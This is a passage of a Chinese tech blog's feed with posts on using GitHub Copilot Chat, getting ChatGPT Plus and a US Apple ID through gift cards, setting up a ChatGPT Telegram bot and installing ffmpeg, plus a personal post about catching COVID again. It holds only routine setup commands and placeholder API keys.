&lt;p&gt;最重要的是现在就去做，而不应该先学习再开始。&lt;/p&gt;</content><category term="思考"/><category term="读书"/></entry><entry><title>GitHub Copilot Chat 使用教程</title><link href="https://foofish.net/github-copilot-chat.html" rel="alternate"/><published>2023-06-01T13:24:01+08:00</published><updated>2023-06-01T13:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-01:/github-copilot-chat.html</id><summary type="html">&lt;p&gt;GitHub Copilot Chat 目前开始陆续开放白名单资格，还没申请的可以先申请，申请入口： https://github.com/features/preview/copilot-x  ， copilot 的好处是在一个编辑器完成所 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;GitHub Copilot Chat 目前开始陆续开放白名单资格，还没申请的可以先申请，申请入口： https://github.com/features/preview/copilot-x  ， copilot 的好处是在一个编辑器完成所有的AI辅助功能，简直不要太方便。&lt;/p&gt;
&lt;p&gt;安装 VSCode  Insiders 版本，下载地址：https://code.visualstudio.com/insiders/，该版本与VSCode的区别在于前者是预览版本，后者为稳定版本，功能几乎一致。&lt;/p&gt;
&lt;p&gt;下载 Github Copilot Nightly 插件&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230527085312698" src="../../images/image-20230527085312698.png"&gt;&lt;/p&gt;
&lt;p&gt;安装完成后登录Github后，左侧会多一个Chat的图标&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230528172359642" src="../../images/image-20230528172359642.png"&gt;&lt;/p&gt;
&lt;p&gt;你可以对下面的对话框将ChatGPT一样问任何关于编程的问题，你的提问质量决定了Copilot的答案质量。例如：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;提问：用python写一个邮箱校验的正则表达式，并封装成一个函数&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20230528175248864" src="../../images/image-20230528175248864.png"&gt;&lt;/p&gt;
&lt;p&gt;因为我不知道这个正则表达式具体的含义，我可以接着继续问&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;解锁函数中正则表达式的意思&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20230528183714228" src="../../images/image-20230528183714228.png"&gt;&lt;/p&gt;
&lt;p&gt;除了像ChatGPT一样提问之外，我们还可以让他解释代码&lt;/p&gt;
&lt;h3&gt;explain 指令&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/explain&lt;/code&gt; 指令用于解释代码，鼠标选中代码段后，使用快捷键 Ctrl+i 或者 右键 Copilot，输入指令 /explain 即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230528184103353" src="../../images/image-20230528184103353.png"&gt;&lt;/p&gt;
&lt;p&gt;默认会用英文解释&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230528184459068" src="../../images/image-20230528184459068.png"&gt;&lt;/p&gt;
&lt;p&gt;如果你不擅长英文，也可以使用中文来提问&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230528184624997" src="../../images/image-20230528184624997.png"&gt;&lt;/p&gt;
&lt;h3&gt;Fix 指令&lt;/h3&gt;
&lt;p&gt;fix 是用于修复Bug的命令，当你的代码报错时，你可以直接使用 &lt;code&gt;/fix&lt;/code&gt;  指令，并将错误信息放置在框里面 Copilot 及时帮你修复代码。 &lt;/p&gt;
&lt;p&gt;比如，有如下代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;convert_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;我在调用的时候出现了ValueError的异常，这时候我们直接把异常信息提供给Copilot&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230528190705942" src="../../images/image-20230528190705942.png"&gt;&lt;/p&gt;
&lt;p&gt;修复后的代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;convert_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

  &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;我这里只是用一个很简单的例子，对付更复杂的代码也不在话下。&lt;/p&gt;
&lt;h3&gt;test 指令&lt;/h3&gt;
&lt;p&gt;单元测试很重要，长期来看带来的好处往往被低估，但很多人都不愿意写测试代码，因为费时间。现在Copilot 可以帮你写测试代码了。使用 &lt;code&gt;/test&lt;/code&gt; 指令&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230528191437234" src="../../images/image-20230528191437234.png"&gt;&lt;/p&gt;
&lt;p&gt;生成的测试代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_convert_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;assertEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;convert_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;123&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;assertEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;convert_int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;abc&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;而且它能把测试代码放置在正确的位置，不需要我们手动去调整。&lt;/p&gt;
&lt;h3&gt;重构代码&lt;/h3&gt;
&lt;p&gt;对于没有任何代码注释的代码，特别是文档性质的代码，可以让Copilot 加上文档注释，我们只需要选中代码后告诉他&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;make this code more readable&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20230528192402322" src="../../images/image-20230528192402322.png"&gt;&lt;/p&gt;
&lt;p&gt;推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>苹果用户如何购买 ChatGPT Plus</title><link href="https://foofish.net/how-to-upgrade-chatgpt-plus-with-ios.html" rel="alternate"/><published>2023-05-26T15:24:01+08:00</published><updated>2023-05-26T15:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-26:/how-to-upgrade-chatgpt-plus-with-ios.html</id><summary type="html">&lt;p&gt;提前准备： &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;苹果手机&lt;/li&gt;
&lt;li&gt;美区Apple ID&lt;/li&gt;
&lt;li&gt;ChatGPT账号&lt;/li&gt;
&lt;li&gt;魔法工具&lt;/li&gt;
&lt;li&gt;支付宝账号&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第一步：在支付宝购买AppStore礼品卡&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;打开支付宝、左上角将支付宝的定位改为米 …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;提前准备： &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;苹果手机&lt;/li&gt;
&lt;li&gt;美区Apple ID&lt;/li&gt;
&lt;li&gt;ChatGPT账号&lt;/li&gt;
&lt;li&gt;魔法工具&lt;/li&gt;
&lt;li&gt;支付宝账号&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第一步：在支付宝购买AppStore礼品卡&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;打开支付宝、左上角将支付宝的定位改为米国旧金山&lt;/li&gt;
&lt;li&gt;首页往下滑找到【大牌礼卡】&lt;/li&gt;
&lt;li&gt;在新的页面滑动到最下面的【更多大牌折扣礼卡】&lt;/li&gt;
&lt;li&gt;在新的页面搜索AppStore，点第一个搜索结果&lt;/li&gt;
&lt;li&gt;输入金额（单位是美金），最低$2，如果是购买Plus账号，最好是大于20&lt;/li&gt;
&lt;li&gt;点击【立即购买】 &lt;/li&gt;
&lt;li&gt;进入订单列表&lt;/li&gt;
&lt;li&gt;如果订单状态为订单完成，说明礼品卡购买成功&lt;/li&gt;
&lt;li&gt;进入订单详情，复制礼品卡号码&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="" src="../../images/zhifubaolipinka.png"&gt;&lt;/p&gt;
&lt;p&gt;立即购买&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="../../images/zhifubaolipindingdan.png"&gt;&lt;/p&gt;
&lt;h3&gt;第二步：在App Store中兑换礼品卡&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;进入AppStore，点击右上角小人头&lt;/li&gt;
&lt;li&gt;点击兑换充值卡或代码&lt;/li&gt;
&lt;li&gt;手动输入兑换码，输入刚刚购买的礼品卡号码充值&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="dinghuanlipinka.png" src="../../images/dinghuanlipinka.png"&gt;&lt;/p&gt;
&lt;h3&gt;第三步：升级Plus&lt;/h3&gt;
&lt;p&gt;这一步需要魔法网络，首先在设备上登录ChatGPT账号，点右上角的...-&amp;gt;Settings-&amp;gt;Upgrade To ChatGPT Plus&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="../../images/upgradechatgpt.png"&gt;&lt;/p&gt;
&lt;p&gt;如果出现如下界面说明订阅成功&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230526161339619" src="../../images/image-20230526161339619.png"&gt;&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，任何关于ChatGPT的问题都可以获得解答。里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>如何注册一个美国苹果账号 Apple ID</title><link href="https://foofish.net/how-to-register-an-apple-id.html" rel="alternate"/><published>2023-05-26T13:24:01+08:00</published><updated>2023-05-26T13:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-26:/how-to-register-an-apple-id.html</id><summary type="html">&lt;h3&gt;第一步：注册账号&lt;/h3&gt;
&lt;p&gt;登录苹果官网网址：&lt;a href="https://appleid.apple.com/account"&gt;https://appleid.apple.com/account&lt;/a&gt;  填写注册信息， 需要注意点地方：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不需要魔法网络，能打开链接就行&lt;/li&gt;
&lt;li&gt;名字随 …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;h3&gt;第一步：注册账号&lt;/h3&gt;
&lt;p&gt;登录苹果官网网址：&lt;a href="https://appleid.apple.com/account"&gt;https://appleid.apple.com/account&lt;/a&gt;  填写注册信息， 需要注意点地方：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不需要魔法网络，能打开链接就行&lt;/li&gt;
&lt;li&gt;名字随便填&lt;/li&gt;
&lt;li&gt;国家选“美国”&lt;/li&gt;
&lt;li&gt;邮箱填一个没来没有注册过Apple ID的邮箱，国内国外邮箱都没问题，但必须是没注册过苹果账号的&lt;/li&gt;
&lt;li&gt;手机号可以用国内的也可以用国外的（不能用临时的，后续登录需要接收验证码二次验证）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20230526123705016" src="../../images/image-20230526123705016.png"&gt;&lt;/p&gt;
&lt;p&gt;提交表单后，会给你的邮箱和手机号发送验证码，填写完验证码后，账号就注册成功了。&lt;/p&gt;
&lt;h3&gt;第二步：将付款信息修改为“无”&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20230526124543048" src="../../images/image-20230526124543048.png"&gt;&lt;/p&gt;
&lt;p&gt;点击“个人信息”，选择“国家或地区”，更改国家或地区，将付款信息修改为“无”，不然后续无法通过礼品卡购买APP。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230526124733374" src="../../images/image-20230526124733374.png"&gt;&lt;/p&gt;
&lt;h3&gt;第三步：填写账单地址&lt;/h3&gt;
&lt;p&gt;账单地址选一个免税州，我们选择Oregon（俄勒冈州）就行，里面的内容照着输入就行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230526125246796" src="../../images/image-20230526125246796.png"&gt;&lt;/p&gt;
&lt;p&gt;配送地址不需要自己填，直线选中“拷贝账单地址”即可自动填入。&lt;/p&gt;
&lt;h3&gt;第四步：在 AppStore 登录账号&lt;/h3&gt;
&lt;p&gt;在设置里面退出原有的Apple ID，一定要完全退出&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230519132425431" src="../../images/image-20230519132425431.png"&gt;&lt;/p&gt;
&lt;p&gt;然后直接打开AppStore苹果商店，点击右上角人头登陆美国账号&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230519132044324" src="../../images/image-20230519132044324.png"&gt;&lt;/p&gt;
&lt;p&gt;登录成功后，搜索你要下载的APP即可 &lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>苹果手机如何安装官方版ChatGPT</title><link href="https://foofish.net/chatgpt-ios-app.html" rel="alternate"/><published>2023-05-19T13:24:01+08:00</published><updated>2023-05-19T13:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-19:/chatgpt-ios-app.html</id><summary type="html">&lt;p&gt;今天，OpenAI正式推出iOS版本的ChatGPT APP程序，我第一时间下载体验了，UI简洁，响应速度贼快，此外，它集成了OpenAI 的开源语音识别系统 Whisper，使用户能够进行语音输入，这 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;今天，OpenAI正式推出iOS版本的ChatGPT APP程序，我第一时间下载体验了，UI简洁，响应速度贼快，此外，它集成了OpenAI 的开源语音识别系统 Whisper，使用户能够进行语音输入，这些功能完全免费，强烈推荐给大家。&lt;/p&gt;
&lt;p&gt;苹果用户可以直接在AppStore搜索“OpenAI ChatGPT“下载使用，注意，App仅支持美国的苹果账号下载。如果你没有美国苹果账号，3种途径获取：1、自己注册，2、找渠道购买，3、使用星球提供的共享账号&lt;/p&gt;
&lt;p&gt;假设你现在有一个美国地区的苹果账号，可按照以下步骤来安装。&lt;/p&gt;
&lt;p&gt;1、首先退出您设置里原有的Apple ID，一定要完全退出&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230519132425431" src="../../images/image-20230519132425431.png"&gt;&lt;/p&gt;
&lt;p&gt;2、然后直接打开AppStore苹果商店，点击右上角人头登陆美国账号（注意如果用的是共享账号，不要去“设置”里登录，仅在此处登录，防止数据泄露）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230519132044324" src="../../images/image-20230519132044324.png"&gt;&lt;/p&gt;
&lt;p&gt;登录后搜索”OpenAI ChatGPT"，注意ChatGPT的logo是白底黑色线条，名字是 OpenAI ChatGPT，因为商店很多第三方的APP和它长得很像。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230519132217697" src="../../images/image-20230519132217697.png"&gt;&lt;/p&gt;
&lt;p&gt;安装成功后，选择第4种登录方式“Log in”，会自动跳转到网页端，根据你ChatGPT账号类型登录，如果你的账号是邮箱密码注册的就直登，如果你的ChatGPT是微软授权登录的就选择 “Continue with Mircosoft Account”&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230519132633967" src="../../images/isochatgpt.png"&gt;&lt;/p&gt;
&lt;p&gt;登录时，手机一样需要有梯子才能登录，否则会报错无法在该地区使用，这个留给大家自行解决。&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="../../images/无标题2.png"&gt;&lt;/p&gt;
&lt;p&gt;安卓版 ChatGPT 大家可以再等等&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>又阳了</title><link href="https://foofish.net/covid-19-again.html" rel="alternate"/><published>2023-05-16T01:24:01+08:00</published><updated>2023-05-16T01:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-16:/covid-19-again.html</id><summary type="html">&lt;p&gt;最近在朋友圈刷到不少二次阳的，我也不幸再次中招。  &lt;/p&gt;
&lt;p&gt;最开始感觉有症状是上周三，嗓子有点痒，没有其它症状，当时没太在 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;最近在朋友圈刷到不少二次阳的，我也不幸再次中招。  &lt;/p&gt;
&lt;p&gt;最开始感觉有症状是上周三，嗓子有点痒，没有其它症状，当时没太在意，以为是晚上着凉了，该吃啥吃啥，胃口还是一样。到了晚上症状更明显，嗓子开始痛，赶紧冲了杯感冒灵压压惊。&lt;/p&gt;
&lt;p&gt;第二天，周四，开始头痛，喉咙明显不舒服，没有食欲，浑身没力气，腰背酸痛。这时候我还是不太相信是新冠，因为症状跟第一次比起来轻很多，甚至这次连发烧的症状都没有。&lt;/p&gt;
&lt;p&gt;然后我去问ChatGPT新冠有哪些症状。除了第一条对不上之外，其它全中，心想大概率是中了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230515211826332" src="../../images/image-20230515211826332.png"&gt;&lt;/p&gt;
&lt;p&gt;第三天，星期五，还是同样的症状，没有好转，也没有更差，家里刚好还剩了一根上次留下来的抗原试纸，一测发现两条明显的杠。真阳了，喝了两杯大白开水压压惊，反正也没啥特效药，全靠自愈。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230515212356027" src="../../images/image-20230515212356027.png"&gt;&lt;/p&gt;
&lt;p&gt;第四天，星期六，症状都还在，体温37.5，一天都在休息没干活，睡了很久。&lt;/p&gt;
&lt;p&gt;第五天，星期天，也就是昨天，睡觉起来感觉明显好转，除了咳嗽，其它症状都差不多消失了，今天依然还是咳嗽，但是精神状态好很多。&lt;/p&gt;
&lt;p&gt;还记得第一次感染是元旦的前两周，到现在刚好是6个月，“阳”过之后，人体会产生抗体，保护期一般是3到6个月， 对于免疫力好的人，抗体可以保护6个月以上，免疫较差的人，可能3个月以后抗体的保护率就会下降。&lt;/p&gt;
&lt;p&gt;这次阳我又自动获得了半年的免疫期，就算下次感染估计也是年底，也许慢慢地新冠就会成为和普通流感一样的病。&lt;/p&gt;
&lt;p&gt;对老年人来说，新冠依然是一种很大的威胁，我的两个奶奶都是在年初因为新冠去世，所以能接种疫苗的还是尽快去接吧。&lt;/p&gt;
&lt;p&gt;今天还有一个悲伤的消息，左耳朵耗子因心肌梗塞不幸去世，技术圈的大部分人应该都知道他是谁，从难以置信到为之惋惜，大家多多保重。追求技术的道路上虽无止境，但生活也重要。&lt;/p&gt;</content><category term="思考"/><category term="新冠"/></entry><entry><title>用 ChatGPT 搭建一个 Telegram 机器人</title><link href="https://foofish.net/chatgpt-telegram-bot.html" rel="alternate"/><published>2023-05-10T18:24:01+08:00</published><updated>2023-05-10T18:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-10:/chatgpt-telegram-bot.html</id><summary type="html">&lt;p&gt;相比微信，Telegram更适合用来做一些扩展功能，不像封闭的微信生态，Telegram官方开放了接口给开发者。在Telegram上搭建一个机器人很方便。&lt;/p&gt;
&lt;p&gt;这里假设你已经安装了Telegram，有ChatGPT账号，且有Python3.9以上环境&lt;/p&gt;
&lt;h3&gt;第一步：申请机器人&lt;/h3&gt;
&lt;p&gt;在Telegram上搜索”BotFather“，然后发送一 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;相比微信，Telegram更适合用来做一些扩展功能，不像封闭的微信生态，Telegram官方开放了接口给开发者。在Telegram上搭建一个机器人很方便。&lt;/p&gt;
&lt;p&gt;这里假设你已经安装了Telegram，有ChatGPT账号，且有Python3.9以上环境&lt;/p&gt;
&lt;h3&gt;第一步：申请机器人&lt;/h3&gt;
&lt;p&gt;在Telegram上搜索”BotFather“，然后发送一条消息 &lt;code&gt;/newbot&lt;/code&gt;，并给机器人设置昵称和唯一用户名，注意用户名必须以&lt;code&gt;_bot&lt;/code&gt;结尾，不能和别人的同名。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510144422991" src="../../images/image-20230510144422991.png"&gt;&lt;/p&gt;
&lt;h3&gt;安装&lt;/h3&gt;
&lt;p&gt;将项目下载到本地&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git clone https://github.com/lzjun567/chatgpt-telegram-bot.git
cd chatgpt-telegram-bot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;创建python虚拟环境&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python -m venv venv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;激活环境&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# Linux or macOS执行:
source venv/bin/activate

# Windows执行:
venv\Scripts\activate
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;安装依赖包&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;配置参数&lt;/p&gt;
&lt;p&gt;在项目跟目录创建文件&lt;code&gt;.env&lt;/code&gt;，在文件中指定环境变量&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;OPENAI_API_KEY=&amp;quot;sk-xxx&amp;quot;
TELEGRAM_BOT_TOKEN=&amp;quot;609588011x:xxxx&amp;quot;
PROXY=&amp;quot;http://127.0.0.1:1081&amp;quot;
BOT_LANGUAGE=&amp;quot;zh-cn&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;OPENAI_API_KEY可以登录chatgpt账号后获取&lt;/li&gt;
&lt;li&gt;TELEGRAM_BOT_TOKEN是我们刚刚申请机器人之后Telegram创建的&lt;/li&gt;
&lt;li&gt;PROXY 如果你的成本部署在本地且不能正常访问openai.com 域名，就需要在本地配置代理，如果把程序部署在国外服务器则无需配置此参数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更多参数可以参数项目文档详细说明&lt;/p&gt;
&lt;h3&gt;启动程序&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python bot/main.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;日常聊天&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510145859890" src="../../images/image-20230510145859890.png"&gt;&lt;/p&gt;
&lt;p&gt;画图（使用/image指令）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510225249075" src="../../images/image-20230510225249075.png"&gt;&lt;/p&gt;
&lt;p&gt;画图使用的是OpenAI 的  DALL·E模型，看起来很弱鸡&lt;/p&gt;
&lt;p&gt;还支持语音转录（需要依赖ffmpeg)，使用Whisper模型&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510160625901" src="../../images/image-20230510160625901.png"&gt;&lt;/p&gt;
&lt;p&gt;除此之外，还可以做一些个性化配置，例如设置指定人可以访问该机器人。&lt;/p&gt;
&lt;p&gt;如果你对Docker熟悉的 话，你还可以将程序部署在Docker环境上，详细操作请参考文档：https://github.com/lzjun567/chatgpt-telegram-bot&lt;/p&gt;
&lt;p&gt;如果你也想搭建一个这样的机器人或者想直接和该机器人对话，推荐加入我的知识星球【ChatGPT研究社】获得帮助，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。  &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="telegram"/><category term="chatgpt"/></entry><entry><title>Windows平台 ffmpeg 安装教程</title><link href="https://foofish.net/ffmpeg-install.html" rel="alternate"/><published>2023-05-10T01:24:01+08:00</published><updated>2023-05-10T01:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-05-10:/ffmpeg-install.html</id><summary type="html">&lt;h3&gt;下载&lt;/h3&gt;
&lt;p&gt;进入ffmpeg官网，http://ffmpeg.org/download.html#build-windows&lt;/p&gt;
&lt;p&gt;点击Windows builds from gyan.dev&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510161543079" src="../../images/image-20230510161543079.png"&gt;&lt;/p&gt;
&lt;p&gt;跳转链接后，点击&lt;a href="https://www.gyan.dev/ffmpeg/builds/ffmpeg-git-essentials.7z"&gt;ffmpeg-git-essentials.7z&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510161717194" src="../../images/image-20230510161717194.png"&gt;&lt;/p&gt;
&lt;p&gt;下载并解压文件&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510161834381" src="../../images/image-20230510161834381.png"&gt;&lt;/p&gt;
&lt;p&gt;设置环境变量&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510161913462" src="../../images/image-20230510161913462.png"&gt;&lt;/p&gt;
&lt;p&gt;将ffmpeg的完整路径复制后，添加到Path环境变量中，具体步骤 …&lt;/p&gt;</summary><content type="html">&lt;h3&gt;下载&lt;/h3&gt;
&lt;p&gt;进入ffmpeg官网，http://ffmpeg.org/download.html#build-windows&lt;/p&gt;
&lt;p&gt;点击Windows builds from gyan.dev&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510161543079" src="../../images/image-20230510161543079.png"&gt;&lt;/p&gt;
&lt;p&gt;跳转链接后，点击&lt;a href="https://www.gyan.dev/ffmpeg/builds/ffmpeg-git-essentials.7z"&gt;ffmpeg-git-essentials.7z&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510161717194" src="../../images/image-20230510161717194.png"&gt;&lt;/p&gt;
&lt;p&gt;下载并解压文件&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510161834381" src="../../images/image-20230510161834381.png"&gt;&lt;/p&gt;
&lt;p&gt;设置环境变量&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230510161913462" src="../../images/image-20230510161913462.png"&gt;&lt;/p&gt;
&lt;p&gt;将ffmpeg的完整路径复制后，添加到Path环境变量中，具体步骤：&lt;/p&gt;
&lt;p&gt;计算机-属性-高级系统设置-环境变量-系统变量-Path-编辑&lt;/p&gt;
